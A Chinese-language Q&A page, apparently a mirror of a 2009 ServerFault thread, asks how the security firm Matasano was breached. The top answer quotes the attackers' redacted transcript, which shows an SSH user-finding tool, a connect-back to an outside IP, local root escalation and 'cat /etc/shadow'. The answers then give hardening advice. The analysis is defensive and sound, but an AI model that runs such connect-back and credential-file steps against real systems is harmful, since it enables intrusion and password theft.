AskOverflow.Dev

AskOverflow.Dev Logo AskOverflow.Dev Logo

AskOverflow.Dev Navigation

  • 主页
  • 系统&网络
  • Ubuntu
  • Unix
  • DBA
  • Computer
  • Coding
  • LangChain

Mobile menu

Close
  • 主页
  • 系统&网络
    • 最新
    • 热门
    • 标签
  • Ubuntu
    • 最新
    • 热门
    • 标签
  • Unix
    • 最新
    • 标签
  • DBA
    • 最新
    • 标签
  • Computer
    • 最新
    • 标签
  • Coding
    • 最新
    • 标签
主页 / server / 问题 / 45653
Accepted
user14898
user14898
Asked: 2009-07-26 21:52:14 +0800 CST2009-07-26 21:52:14 +0800 CST 2009-07-26 21:52:14 +0800 CST

Matasano 是如何被黑的?

  • 772

来自:http ://seclists.org/fulldisclosure/2009/Jul/0388.html

如果我从以下帖子中理解得最好:http: //news.ycombinator.com/item ?id= 723798 Matasano 的人离开了 sshd 互联网 - 任何建议的解决方案(从编程的角度来看)?

security hacking vulnerabilities
  • 5 5 个回答
  • 4200 Views

5 个回答

  • Voted
  1. Best Answer
    user1804
    2009-07-27T01:22:52+08:002009-07-27T01:22:52+08:00

    Matasano 是如何被黑的?

    从帖子中的信息到完全披露,这是不可能回答的。然而,推测总是很有趣,因为他们确实提供了一些信息 -

    # ./th3_f1n4l_s0lut10n www.matasano.com
    [-] 连接到 69.61.87.163:22..
    [/] 寻找有效的非 root 用户.. adam
    ******** R3D4CT3D h4h4h4h4 ********
    

    他们th3_f1n41_s01ut10n针对连接到 ssh 端口的 Matasano 的服务器运行二进制“”。它通过一些未知的方式找到一个有效的非 root 用户,并且输出的其余部分被编辑。

    # ./th3_f1n4l_s0lut10n -u 亚当 -t 3 www.matasano.com
    [*] Connectback 监听器在 209.112.118.10:3338..
    [!] SSH2_MSG_SERVICE_ACCEPT [OpenSSH_4.5p1,OpenSSL 0.9.8g 2007 年 10 月 19 日]
    

    使用找到的用户名再次运行二进制文件,该用户名登录并连接回其服务器的 3338 端口(希望没有以他们的名义注册......)。

    adam_at_www:~$ uname -a
    Linux www 2.6.20.1-1-686 #1 SMP Sun Mar 4 12:44:55 UTC 2007 i686 GNU/Linux
    **** h4h4h4hh4h4h4 l3tz us3 m0r3 !0D4Y!H4H4H4H4H4H4H4 ****
    

    他们可能暗示他们对这个内核有一个 0 天,当你考虑这家公司的股票交易时,这个内核已经很老了。

    adam_at_www:~$ cd /tmp
    *********** B0R1NG ***********
    root_at_www:~# cat /etc/shadow
    

    哎呀-突然间,用户现在是root用户。他们在 /tmp 中有一个本地权限提升漏洞,这可能是他们提到的 0-day。

    所以这里至少有两个漏洞利用——OpenSSH漏洞利用在系统上获取一个有效的非root用户,并以该用户身份登录,然后是本地权限提升。

    考虑到 OpenSSH 自 4.5 版以来存在一些已知的安全问题:

    从OpenSSH 的安全页面:

    • 5.2 版之前的 OpenSSH 易受 CPNI-957037“针对 SSH 的明文恢复攻击”中描述的协议弱点的影响。然而,基于可用的有限信息,这种描述的攻击似乎在大多数情况下是不可行的。有关更多信息,请参阅 cbc.adv 咨询和 OpenSSH 5.2 发行说明。
    • ~/.ssh/rc对于命令已被 sshd_config(5) ForceCommand 指令覆盖的会话,OpenSSH 4.9 和更高版本不会执行。这是一个记录在案但不安全的行为(在 OpenSSH 4.9 发行说明中描述)。
    • 如 OpenSSH 4.7 发行说明中所述,当不受信任的 cookie 生成失败(例如,由于故意的资源耗尽)时,OpenSSH 4.7 和更高版本不会回退到创建受信任的 X11 身份验证 cookie。

    我猜想拥有这个较旧的 Linux 内核和较旧的 SSH 守护程序为他们做了。此外,它在他们的 www 服务器上运行,该服务器可用于 Internet,在我看来,这是一件非常有信心的事情。闯入的人显然是想为难他们。

    如何防止这些攻击?

    这可以通过主动管理来防止——确保任何面向互联网的服务都得到修补,并限制可以连接的人数,而不是允许人们从任何地方连接。这一事件进一步说明了安全系统管理是困难的,并且需要业务部门的奉献精神来为 IT 提供时间来保持修补 - 实际上,这不是一件容易发生的事情,至少在较小的公司中是这样。

    最好使用带大括号的方法 - 使用公钥身份验证、在 ssh 守护程序上列入白名单、双因素身份验证、IP 限制和/或将所有内容置于 VPN 之后是锁定它的可能途径。

    我想我知道我明天要在工作中做什么。:)

    • 34
  2. sucuri
    2009-07-27T04:20:25+08:002009-07-27T04:20:25+08:00

    人们喜欢在此基础上创建 FUD,但似乎他们知道用户 adam 已经在那里并且也知道他的密码(可能通过蛮力或其他方法)。然而,他们想要看起来很酷,并到处制造这种大惊小怪。

    另一件有趣的事情是用户 adam 已经有一年多没有登录到那个盒子了:

    (最后一个日志的输出)

     adam             pts/1    ool-4350ab48.dyn Sat Jul 26 20:45:18 -0400 2008
    

    所以他可能会保留那个密码(也许是一个坏密码)一段时间。

    *如果他们真的有一个通过 SSH 发现用户名的工具,他们本可以使用所有其他用户来获得远程访问权限,但他们使用了该框中最常见的用户名(很容易猜到)。

    • 3
  3. Sneakyness
    2009-07-26T22:03:58+08:002009-07-26T22:03:58+08:00

    为什么要从编程的角度尝试解决这个问题?

    相反,您应该从智能服务器管理员的角度来解决它。您发布的链接的评论中有一些很棒的建议,例如使用白名单。

    我还想补充一点,因为你在这里问,你很可能绝不是安全专家,你想写的任何东西只会增加更多的漏洞。这根本不是一个编程问题。

    • 2
  4. Eric
    2009-07-26T22:04:18+08:002009-07-26T22:04:18+08:00

    保护您的软件免受 0-day 攻击……这是不可能的。

    也许一种好方法是声称您的软件是不可破解的,这将导致白帽尝试并完全公开所有内容,从而减少漏洞。Oracle 10 有此声明,然后在第二天发现了 9 个新漏洞。它现在相当安全。

    最有可能的是,黑客滥用了完美软件的配置

    • 2
  5. Alex
    2009-07-29T09:43:47+08:002009-07-29T09:43:47+08:00

    让我大吃一惊的是,他们在那台机器上有这么多使用 shell 的用户。这就是他们肯定被拥有的方式,其他一切都是为了分散注意力。其中一个很可能将他们的 ssh 客户端安装在其他 shell 机器上,然后游戏就结束了。给每个人提供 shell 帐户并让 sshd 世界可以访问只是懒惰和愚蠢。

    • 2

相关问题

  • 为什么使用authorized_keys通过ssh自动登录不起作用?

  • 如何启用与 SQL Server 实例的加密连接?

  • 从多个位置保护远程服务器/工具访问的最佳方法是什么?

  • 在 SOHO 环境中实施的最佳 VPN 技术是什么?[关闭]

  • 保护新的 Ubuntu 服务器 [关闭]

Sidebar

Stats

  • 问题 205573
  • 回答 270741
  • 最佳答案 135370
  • 用户 68524
  • 热门
  • 回答
  • Marko Smith

    SFTP 使用什么端口?

    • 6 个回答
  • Marko Smith

    从 IP 地址解析主机名

    • 8 个回答
  • Marko Smith

    如何按大小对 du -h 输出进行排序

    • 30 个回答
  • Marko Smith

    命令行列出 Windows Active Directory 组中的用户?

    • 9 个回答
  • Marko Smith

    Windows 中执行反向 DNS 查找的命令行实用程序是什么?

    • 14 个回答
  • Marko Smith

    如何检查 Windows 机器上的端口是否被阻塞?

    • 4 个回答
  • Marko Smith

    我应该打开哪个端口以允许远程桌面?

    • 9 个回答
  • Marko Smith

    什么是 Pem 文件,它与其他 OpenSSL 生成的密钥文件格式有何不同?

    • 3 个回答
  • Marko Smith

    如何确定bash变量是否为空?

    • 15 个回答
  • Martin Hope
    MikeN 在 Nginx 中,如何在维护子域的同时将所有 http 请求重写为 https? 2009-09-22 06:04:43 +0800 CST
  • Martin Hope
    Tom Feiner 如何按大小对 du -h 输出进行排序 2009-02-26 05:42:42 +0800 CST
  • Martin Hope
    0x89 bash中的双方括号和单方括号有什么区别? 2009-08-10 13:11:51 +0800 CST
  • Martin Hope
    kch 如何更改我的私钥密码? 2009-08-06 21:37:57 +0800 CST
  • Martin Hope
    Kyle Brandt IPv4 子网如何工作? 2009-08-05 06:05:31 +0800 CST
  • Martin Hope
    Noah Goodrich 什么是 Pem 文件,它与其他 OpenSSL 生成的密钥文件格式有何不同? 2009-05-19 18:24:42 +0800 CST
  • Martin Hope
    Brent 如何确定bash变量是否为空? 2009-05-13 09:54:48 +0800 CST
  • Martin Hope
    cletus 您如何找到在 Windows 中打开文件的进程? 2009-05-01 16:47:16 +0800 CST

热门标签

linux nginx windows networking ubuntu domain-name-system amazon-web-services active-directory apache-2.4 ssh

Explore

  • 主页
  • 问题
    • 最新
    • 热门
  • 标签
  • 帮助

Footer

AskOverflow.Dev

关于我们

  • 关于我们
  • 联系我们

Legal Stuff

  • Privacy Policy

Language

  • Pt
  • Server
  • Unix

© 2023 AskOverflow.DEV All Rights Reserve